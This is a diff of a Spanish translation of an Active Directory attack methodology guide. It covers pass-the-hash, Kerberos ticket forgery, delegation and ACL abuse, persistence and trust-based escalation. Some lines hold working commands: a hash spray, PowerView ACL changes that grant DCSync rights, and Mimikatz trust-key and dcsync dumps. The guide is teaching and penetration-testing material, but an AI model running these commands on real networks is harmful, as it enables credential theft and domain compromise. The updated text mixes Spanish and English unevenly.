hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) -### Pasar el Hash +### Pass the Hash -**Una vez que tengas el hash de un usuario**, puedes usarlo para **suplantarlo**.\ -Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\ -[**Lee esta página para más información.**](../ntlm/index.html#pass-the-hash) +**Once you have the hash of a user**, puedes usarlo para **impersonate** it.\ +Necesitas usar alguna **tool** que **perform** the **NTLM authentication using** that **hash**, **or** podrías crear un nuevo **sessionlogon** e **inject** ese **hash** dentro de **LSASS**, de modo que cuando se realice cualquier **NTLM authentication**, ese **hash will be used.** La última opción es lo que hace mimikatz.\ +[**Read this page for more information.**](../ntlm/index.html#pass-the-hash) ### Over Pass the Hash/Pass the Key -Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo **Kerberos está permitido** como protocolo de autenticación. +Este ataque apunta a **use the user NTLM hash to request Kerberos tickets**, como alternativa al común Pass The Hash over NTLM protocol. Por lo tanto, esto podría ser especialmente **useful in networks where NTLM protocol is disabled** y solo **Kerberos is allowed** como protocolo de autenticación. {{#ref}} over-pass-the-hash-pass-the-key.md {{#endref}} -### Pasar el Ticket +### Pass the Ticket -En el método de ataque **Pass The Ticket (PTT)**, los atacantes **roban el ticket de autenticación de un usuario** en lugar de su contraseña o valores hash. Este ticket robado se utiliza para **suplantar al usuario**, obteniendo acceso no autorizado a recursos y servicios dentro de una red. +En el método de ataque **Pass The Ticket (PTT)**, los atacantes **steal a user's authentication ticket** en lugar de su password o valores hash. Este ticket robado se utiliza para **impersonate the user**, obteniendo acceso no autorizado a recursos y servicios dentro de una red. {{#ref}} pass-the-ticket.md {{#endref}} -### Reutilización de Credenciales +### Credentials Reuse -Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello. +Si tienes el **hash** o el **password** de un **administrador local** deberías intentar **login locally** en otros **PCs** con él. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -283,54 +288,72 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c > [!WARNING] > Tenga en cuenta que esto es bastante **ruidoso** y **LAPS** lo **mitigaría**. -### Abuso de MSSQL y enlaces de confianza +### Abuso de MSSQL y Trusted Links + +Si un usuario tiene privilegios para **access MSSQL instances**, podría usarlo para **execute commands** en el host MSSQL (si se ejecuta como SA), **steal** el NetNTLM **hash** o incluso realizar un **relay** **attack**.\ +Además, si una instancia MSSQL es trusted (database link) por otra instancia MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, va a poder **use the trust relationship to execute queries also in the other instance**. Estas trusts se pueden encadenar y en algún punto el usuario podría encontrar una base de datos mal configurada donde pueda ejecutar comandos.\ +**The links between databases work even across forest trusts.** -Si un usuario tiene privilegios para **acceder a instancias de MSSQL**, podría ser capaz de usarlo para **ejecutar comandos** en el host de MSSQL (si se ejecuta como SA), **robar** el **hash** de NetNTLM o incluso realizar un **ataque** de **relevo**.\ -Además, si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **usar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar una base de datos mal configurada donde puede ejecutar comandos.\ -**Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.** {{#ref}} abusing-ad-mssql.md {{#endref}} -### Delegación no restringida +### Abuso de plataformas de activos/despliegue de IT + +Las suites de inventario y despliegue de terceros a menudo exponen poderosas vías hacia credenciales y ejecución de código. Ver: + +{{#ref}} +sccm-management-point-relay-sql-policy-secrets.md +{{#endref}} + +{{#ref}} +lansweeper-security.md +{{#endref}} + +### Unconstrained Delegation + +Si encuentras cualquier objeto Computer con el atributo [ADS_UF_TRUSTED_FOR_DELEGATION]() y tienes privilegios de dominio en el equipo, podrás volcar TGTs desde la memoria de todos los usuarios que inicien sesión en el equipo.\ +Así que, si un **Domain Admin logins onto the computer**, podrás volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\ +Gracias a constrained delegation podrías incluso **automáticamente comprometer un Print Server** (con suerte será un DC). -Si encuentras algún objeto de computadora con el atributo [ADS_UF_TRUSTED_FOR_DELEGATION]() y tienes privilegios de dominio en la computadora, podrás volcar TGTs de la memoria de todos los usuarios que inicien sesión en la computadora.\ -Entonces, si un **Administrador de Dominio inicia sesión en la computadora**, podrás volcar su TGT e impersonarlo usando [Pass the Ticket](pass-the-ticket.md).\ -Gracias a la delegación restringida, incluso podrías **comprometer automáticamente un servidor de impresión** (esperemos que sea un DC). {{#ref}} unconstrained-delegation.md {{#endref}} -### Delegación restringida +### Constrained Delegation + +Si a un usuario o equipo se le permite "Constrained Delegation" será capaz de **impersonate any user to access some services in a computer**.\ +Luego, si **comprometes el hash** de este usuario/equipo podrás **impersonate any user** (incluso domain admins) para acceder a algunos servicios. -Si a un usuario o computadora se le permite la "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\ -Luego, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios. {{#ref}} constrained-delegation.md {{#endref}} -### Delegación basada en recursos +### Resourced-based Constrain Delegation + +Tener privilegios **WRITE** sobre un objeto de Active Directory de un equipo remoto permite la obtención de ejecución de código con **privilegios elevados**: -Tener privilegio de **ESCRITURA** en un objeto de Active Directory de una computadora remota permite la obtención de ejecución de código con **privilegios elevados**: {{#ref}} resource-based-constrained-delegation.md {{#endref}} -### Abuso de permisos/ACLs +### Abuso de Permissions/ACLs + +El usuario comprometido podría tener algunos **privilegios interesantes sobre algunos objetos del dominio** que podrían permitirte **moverte** lateralmente/**escalar** privilegios. -El usuario comprometido podría tener algunos **privilegios interesantes sobre algunos objetos de dominio** que podrían permitirte **moverte** lateralmente/**escalar** privilegios. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Abuso del servicio de cola de impresión +### Abuso del servicio Printer Spooler + +Descubrir un **Spool service listening** dentro del dominio puede ser **abused** para **acquire new credentials** y **escalar privilegios**. -Descubrir un **servicio de cola escuchando** dentro del dominio puede ser **abusado** para **adquirir nuevas credenciales** y **escalar privilegios**. {{#ref}} printers-spooler-service-abuse.md @@ -338,8 +361,9 @@ printers-spooler-service-abuse.md ### Abuso de sesiones de terceros -Si **otros usuarios** **acceden** a la máquina **comprometida**, es posible **recolectar credenciales de la memoria** e incluso **inyectar balizas en sus procesos** para impersonarlos.\ -Normalmente, los usuarios accederán al sistema a través de RDP, así que aquí tienes cómo realizar un par de ataques sobre sesiones RDP de terceros: +Si **otros usuarios** **access** la máquina **comprometida**, es posible **gather credentials from memory** e incluso **inject beacons in their processes** para impersonarlos.\ +Usualmente los usuarios accederán al sistema vía RDP, así que aquí tienes cómo performa un par de ataques sobre sesiones RDP de terceros: + {{#ref}} rdp-sessions-abuse.md @@ -347,7 +371,8 @@ rdp-sessions-abuse.md ### LAPS -**LAPS** proporciona un sistema para gestionar la **contraseña del Administrador local** en computadoras unidas al dominio, asegurando que sea **aleatoria**, única y frecuentemente **cambiada**. Estas contraseñas se almacenan en Active Directory y el acceso se controla a través de ACLs solo para usuarios autorizados. Con permisos suficientes para acceder a estas contraseñas, se vuelve posible pivotar a otras computadoras. +**LAPS** proporciona un sistema para gestionar la **local Administrator password** en equipos unidos al dominio, asegurando que esté **randomized**, sea única y se **changed** con frecuencia. Estas contraseñas se almacenan en Active Directory y el acceso se controla mediante ACLs solo para usuarios autorizados. Con permisos suficientes para acceder a estas contraseñas, pivotear a otros equipos se vuelve posible. + {{#ref}} laps.md @@ -355,15 +380,17 @@ laps.md ### Robo de certificados -**Recolectar certificados** de la máquina comprometida podría ser una forma de escalar privilegios dentro del entorno: +**Gathering certificates** de la máquina comprometida podría ser una vía para escalar privilegios dentro del entorno: + {{#ref}} ad-certificates/certificate-theft.md {{#endref}} -### Abuso de plantillas de certificados +### Abuso de Certificate Templates + +Si se configuran **vulnerable templates** es posible abusar de ellas para escalar privilegios: -Si se configuran **plantillas vulnerables**, es posible abusar de ellas para escalar privilegios: {{#ref}} ad-certificates/domain-escalation.md @@ -371,32 +398,32 @@ ad-certificates/domain-escalation.md ## Post-explotación con cuenta de alto privilegio -### Volcado de credenciales de dominio +### Volcado de credenciales del dominio -Una vez que obtienes privilegios de **Administrador de Dominio** o incluso mejor **Administrador de Empresa**, puedes **volcar** la **base de datos del dominio**: _ntds.dit_. +Una vez que obtienes **Domain Admin** o, mejor aún, **Enterprise Admin** privileges, puedes **dump** la **domain database**: _ntds.dit_. -[**Más información sobre el ataque DCSync se puede encontrar aquí**](dcsync.md). +[**More information about DCSync attack can be found here**](dcsync.md). -[**Más información sobre cómo robar el NTDS.dit se puede encontrar aquí**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) +[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Privesc como persistencia -Algunas de las técnicas discutidas anteriormente pueden ser utilizadas para persistencia.\ -Por ejemplo, podrías: +Algunas de las técnicas discutidas antes pueden usarse para persistencia.\ +Por ejemplo podrías: -- Hacer que los usuarios sean vulnerables a [**Kerberoast**](kerberoast.md) +- Make users vulnerable to [**Kerberoast**](kerberoast.md) ```bash Set-DomainObject -Identity -Set @{serviceprincipalname="fake/NOTHING"}r ``` -- Hacer que los usuarios sean vulnerables a [**ASREPRoast**](asreproast.md) +- Make users vulnerable to [**ASREPRoast**](asreproast.md) ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -- Conceder privilegios de [**DCSync**](#dcsync) a un usuario +- Grant [**DCSync**](#dcsync) privileges to a user ```bash Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync @@ -404,7 +431,8 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti ### Silver Ticket -El **ataque Silver Ticket** crea un **ticket legítimo de Servicio de Concesión de Tickets (TGS)** para un servicio específico utilizando el **hash de NTLM** (por ejemplo, el **hash de la cuenta de PC**). Este método se emplea para **acceder a los privilegios del servicio**. +El **Silver Ticket attack** crea un **legítimo Ticket Granting Service (TGS) ticket** para un servicio específico usando el **NTLM hash** (por ejemplo, el **hash de la PC account**). Este método se emplea para **access the service privileges**. + {{#ref}} silver-ticket.md @@ -412,9 +440,10 @@ silver-ticket.md ### Golden Ticket -Un **ataque Golden Ticket** implica que un atacante obtenga acceso al **hash de NTLM de la cuenta krbtgt** en un entorno de Active Directory (AD). Esta cuenta es especial porque se utiliza para firmar todos los **Tickets de Concesión de Tickets (TGTs)**, que son esenciales para la autenticación dentro de la red AD. +Un **Golden Ticket attack** implica que un atacante obtenga acceso al **NTLM hash of the krbtgt account** en un entorno Active Directory (AD). Esta cuenta es especial porque se usa para firmar todos los **Ticket Granting Tickets (TGTs)**, que son esenciales para autenticarse dentro de la red AD. + +Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (Silver ticket attack). -Una vez que el atacante obtiene este hash, puede crear **TGTs** para cualquier cuenta que elija (ataque de ticket de plata). {{#ref}} golden-ticket.md @@ -422,53 +451,59 @@ golden-ticket.md ### Diamond Ticket -Estos son como tickets dorados forjados de una manera que **elude los mecanismos comunes de detección de tickets dorados.** +Son como golden tickets forjados de una forma que **bypasses common golden tickets detection mechanisms.** + {{#ref}} diamond-ticket.md {{#endref}} -### **Persistencia de cuentas de certificados** +### **Certificates Account Persistence** + +**Having certificates of an account or being able to request them** es una muy buena forma de persistir en la cuenta del usuario (incluso si cambia la contraseña): -**Tener certificados de una cuenta o poder solicitarlos** es una muy buena manera de poder persistir en la cuenta de los usuarios (incluso si cambia la contraseña): {{#ref}} ad-certificates/account-persistence.md {{#endref}} -### **Persistencia de dominio de certificados** +### **Certificates Domain Persistence** + +**Using certificates is also possible to persist with high privileges inside the domain:** -**Usar certificados también es posible para persistir con altos privilegios dentro del dominio:** {{#ref}} ad-certificates/domain-persistence.md {{#endref}} -### Grupo AdminSDHolder +### AdminSDHolder Group -El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no deseado a menos que se supervise de cerca. +El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **privileged groups** (como Domain Admins y Enterprise Admins) aplicando una **Access Control List (ACL)** estándar a través de estos grupos para prevenir cambios no autorizados. Sin embargo, esta funcionalidad puede ser explotada; si un atacante modifica la ACL del AdminSDHolder para dar acceso total a un usuario normal, ese usuario obtiene un control extensivo sobre todos los grupos privilegiados. Esta medida de seguridad, pensada para proteger, puede volverse contraproducente, permitiendo acceso no deseado a menos que se monitoree de cerca. -[**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group) +[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group) -### Credenciales DSRM +### DSRM Credentials + +Dentro de cada **Domain Controller (DC)** existe una cuenta de **local administrator**. Al obtener derechos de administrador en dicha máquina, el hash del Administrador local puede extraerse usando **mimikatz**. Tras esto, es necesaria una modificación del registro para **enable the use of this password**, permitiendo el acceso remoto a la cuenta de Administrador local. -Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, se puede extraer el hash del Administrador local usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta de Administrador local. {{#ref}} dsrm-credentials.md {{#endref}} -### Persistencia de ACL +### ACL Persistence + +Podrías **give** algunos **permisos especiales** a un **usuario** sobre algunos objetos específicos del dominio que permitirán al usuario **escalar privilegios en el futuro**. -Podrías **dar** algunos **permisos especiales** a un **usuario** sobre algunos objetos de dominio específicos que permitirán al usuario **escalar privilegios en el futuro**. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Descriptores de seguridad +### Security Descriptors + +Los **security descriptors** se usan para **store** los **permissions** que un **object** tiene **over** un **object**. Si puedes simplemente **make** un **pequeño cambio** en el **security descriptor** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesitar ser miembro de un grupo privilegiado. -Los **descriptores de seguridad** se utilizan para **almacenar** los **permisos** que un **objeto** tiene **sobre** un **objeto**. Si puedes **hacer** un **pequeño cambio** en el **descriptor de seguridad** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesidad de ser miembro de un grupo privilegiado. {{#ref}} security-descriptors.md @@ -476,16 +511,18 @@ security-descriptors.md ### Skeleton Key -Alterar **LSASS** en memoria para establecer una **contraseña universal**, otorgando acceso a todas las cuentas de dominio. +Alterar **LSASS** en memoria para establecer una **universal password**, otorgando acceso a todas las cuentas del dominio. + {{#ref}} skeleton-key.md {{#endref}} -### SSP personalizado +### Custom SSP + +[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ +Puedes crear tu **own SSP** para **capture** en **clear text** las **credentials** usadas para acceder a la máquina. -[Aprende qué es un SSP (Proveedor de Soporte de Seguridad) aquí.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\ -Puedes crear tu **propio SSP** para **capturar** en **texto claro** las **credenciales** utilizadas para acceder a la máquina. {{#ref}} custom-ssp.md @@ -493,80 +530,82 @@ custom-ssp.md ### DCShadow -Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\ -Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos. +Registra un **nuevo Domain Controller** en el AD y lo usa para **push attributes** (SIDHistory, SPNs...) en objetos especificados **without** dejar ningún **logs** respecto a las **modificaciones**. Necesitas privilegios **DA** y estar dentro del **root domain**.\ +Ten en cuenta que si usas datos incorrectos, aparecerán logs bastante feos. + {{#ref}} dcshadow.md {{#endref}} -### Persistencia de LAPS +### LAPS Persistence -Anteriormente hemos discutido cómo escalar privilegios si tienes **suficientes permisos para leer las contraseñas de LAPS**. Sin embargo, estas contraseñas también pueden ser utilizadas para **mantener la persistencia**.\ +Anteriormente hemos discutido cómo escalar privilegios si tienes **enough permission to read LAPS passwords**. Sin embargo, estas contraseñas también pueden usarse para **maintain persistence**.\ Revisa: + {{#ref}} laps.md {{#endref}} -## Escalación de privilegios en el bosque - Confianzas de dominio +## Forest Privilege Escalation - Domain Trusts -Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comprometer un solo dominio podría llevar potencialmente a que todo el Bosque sea comprometido**. +Microsoft considera el **Forest** como la frontera de seguridad. Esto implica que **comprometer un único dominio podría potencialmente llevar a que todo el Forest sea comprometido**. -### Información básica +### Basic Information -Una [**confianza de dominio**]() es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza. +Un [**domain trust**]() es un mecanismo de seguridad que permite a un usuario de un **domain** acceder a recursos en otro **domain**. Esencialmente crea un enlace entre los sistemas de autenticación de ambos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen un trust, intercambian y conservan llaves específicas dentro de sus **Domain Controllers (DCs)**, que son cruciales para la integridad del trust. -En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. Luego, el usuario presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio. +En un escenario típico, si un usuario pretende acceder a un servicio en un **trusted domain**, primero debe solicitar un ticket especial conocido como **inter-realm TGT** desde el DC de su propio dominio. Este TGT está encriptado con una **key** compartida que ambos dominios han acordado. El usuario entonces presenta este TGT al **DC of the trusted domain** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del inter-realm TGT por parte del DC del dominio confiable, éste emite un TGS, otorgando al usuario acceso al servicio. -**Pasos**: +**Steps**: -1. Una **computadora cliente** en **Dominio 1** inicia el proceso utilizando su **hash de NTLM** para solicitar un **Ticket Granting Ticket (TGT)** de su **Controlador de Dominio (DC1)**. -2. DC1 emite un nuevo TGT si el cliente se autentica con éxito. -3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**. -4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional. -5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) del Dominio 2**. -6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en el Dominio 2 al que el cliente desea acceder. -7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en el Dominio 2. +1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**. +2. DC1 issues a new TGT if the client is authenticated successfully. +3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**. +4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust. +5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**. +6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access. +7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2. -### Diferentes confianzas +### Different trusts -Es importante notar que **una confianza puede ser unidireccional o bidireccional**. En la opción bidireccional, ambos dominios se confiarán mutuamente, pero en la relación de confianza **unidireccional**, uno de los dominios será el **confiable** y el otro el **que confía**. En este último caso, **solo podrás acceder a recursos dentro del dominio que confía desde el dominio confiable**. +Es importante notar que **a trust can be 1 way or 2 ways**. En la opción de 2 ways, ambos dominios se confiarán mutuamente, pero en la relación de **1 way** uno de los dominios será el **trusted** y el otro el **trusting** domain. En este último caso, **solo podrás acceder a recursos dentro del trusting domain desde el trusted one**. -Si el Dominio A confía en el Dominio B, A es el dominio que confía y B es el confiable. Además, en **Dominio A**, esto sería una **confianza saliente**; y en **Dominio B**, esto sería una **confianza entrante**. +Si Domain A trusts Domain B, A es el trusting domain y B es el trusted one. Además, en **Domain A**, esto sería un **Outbound trust**; y en **Domain B**, esto sería un **Inbound trust**. -**Diferentes relaciones de confianza** +**Different trusting relationships** -- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza bidireccional transitiva con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo. -- **Confianzas de enlace cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos. -- **Confianzas externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas. -- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](). -- **Confianzas de bosque**: Este tipo de confianza es una confianza bidireccional transitiva entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad. -- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows. +- **Parent-Child Trusts**: Esta es una configuración común dentro del mismo forest, donde un child domain automáticamente tiene un trust transitive de dos vías con su parent domain. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el parent y el child. +- **Cross-link Trusts**: Referidas como "shortcut trusts", se establecen entre child domains para acelerar procesos de referral. En forests complejos, las referencias de autenticación típicamente tienen que viajar hasta la raíz del forest y luego descender hasta el dominio objetivo. Al crear cross-links, el trayecto se acorta, lo cual es especialmente beneficioso en entornos geográficamente dispersos. +- **External Trusts**: Se configuran entre dominios diferentes y no relacionados y son no-transitive por naturaleza. Según la documentación de [Microsoft](), los external trusts son útiles para acceder a recursos en un dominio fuera del forest actual que no esté conectado por un forest trust. La seguridad se refuerza mediante SID filtering con external trusts. +- **Tree-root Trusts**: Estos trusts se establecen automáticamente entre el forest root domain y un tree root recién añadido. Aunque no se encuentran comúnmente, los tree-root trusts son importantes para añadir nuevos árboles de dominio a un forest, permitiéndoles mantener un nombre de dominio único y asegurando transitividad bidireccional. Más información en la guía de [Microsoft](). +- **Forest Trusts**: Este tipo de trust es un trust transitive de dos vías entre dos forest root domains, también aplicando SID filtering para mejorar las medidas de seguridad. +- **MIT Trusts**: Estos trusts se establecen con dominios Kerberos no-Windows compatibles con [RFC4120](https://tools.ietf.org/html/rfc4120). Los MIT trusts son un poco más especializados y atienden a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema Windows. -#### Otras diferencias en **relaciones de confianza** +#### Otras diferencias en las **trusting relationships** -- Una relación de confianza también puede ser **transitiva** (A confía en B, B confía en C, entonces A confía en C) o **no transitiva**. -- Una relación de confianza puede configurarse como **confianza bidireccional** (ambos confían entre sí) o como **confianza unidireccional** (solo uno de ellos confía en el otro). +- Una relación de trust también puede ser **transitive** (A trust B, B trust C, entonces A trust C) o **non-transitive**. +- Una relación de trust puede configurarse como **bidirectional trust** (ambos se confían mutuamente) o como **one-way trust** (solo uno confía en el otro). ### Ruta de ataque -1. **Enumerar** las relaciones de confianza -2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto). -1. Kerberoast en este caso podría ser otra opción. -3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios. +1. **Enumerar** las trusting relationships +2. Verificar si algún **security principal** (user/group/computer) tiene **access** a recursos del **otro dominio**, quizá mediante entradas ACE o por estar en grupos del otro dominio. Buscar **relationships across domains** (probablemente se creó el trust para esto). +1. kerberoast en este caso podría ser otra opción. +3. **Comprometer** las **accounts** que pueden **pivot** a través de dominios. -Los atacantes podrían acceder a recursos en otro dominio a través de tres mecanismos principales: +Los atacantes pueden acceder a recursos en otro dominio mediante tres mecanismos principales: -- **Membresía en grupos locales**: Los principales pueden ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina. -- **Membresía en grupos de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo. -- **Listas de Control de Acceso (ACLs)**: Los principales pueden estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. +- **Local Group Membership**: Principales podrían añadirse a grupos locales en máquinas, como el grupo “Administrators” en un servidor, otorgándoles control significativo sobre esa máquina. +- **Foreign Domain Group Membership**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza del trust y el alcance del grupo. +- **Access Control Lists (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de una **DACL**, proporcionándoles acceso a recursos específicos. Para quienes quieran profundizar en la mecánica de ACLs, DACLs y ACEs, el whitepaper titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable. ### Encontrar usuarios/grupos externos con permisos -Puedes verificar **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar principales de seguridad extranjeros en el dominio. Estos serán usuarios/grupos de **un dominio/ bosque externo**. +Puedes revisar **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** para encontrar foreign security principals en el dominio. Estos serán user/group de **un domain/forest externo**. -Podrías verificar esto en **Bloodhound** o usando powerview: +Puedes comprobar esto en **Bloodhound** o usando powerview: ```powershell # Get users that are i groups outside of the current domain Get-DomainForeignUser @@ -574,7 +613,7 @@ Get-DomainForeignUser # Get groups inside a domain with users our Get-DomainForeignGroupMember ``` -### Escalación de privilegios de bosque de hijo a padre +### Child-to-Parent forest privilege escalation ```bash # Fro powerview Get-DomainTrust @@ -587,7 +626,7 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case) WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` -Otras formas de enumerar las confianzas de dominio: +Otras formas de enumerar los trusts de dominio: ```bash # Get DCs nltest /dsgetdc: @@ -601,65 +640,65 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] > Hay **2 claves de confianza**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\ -> Puedes ver la que se usa en el dominio actual con: +> Puedes ver cuál usa el dominio actual con: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local > Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"' > ``` -#### Inyección de SID-History +#### SID-History Injection -Escalar como administrador de la empresa al dominio hijo/padre abusando de la confianza con la inyección de SID-History: +Escalar a Enterprise admin en el dominio hijo/padre abusando de la confianza con SID-History injection: {{#ref}} sid-history-injection.md {{#endref}} -#### Explotar NC de Configuración escribible +#### Exploit writeable Configuration NC -Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de 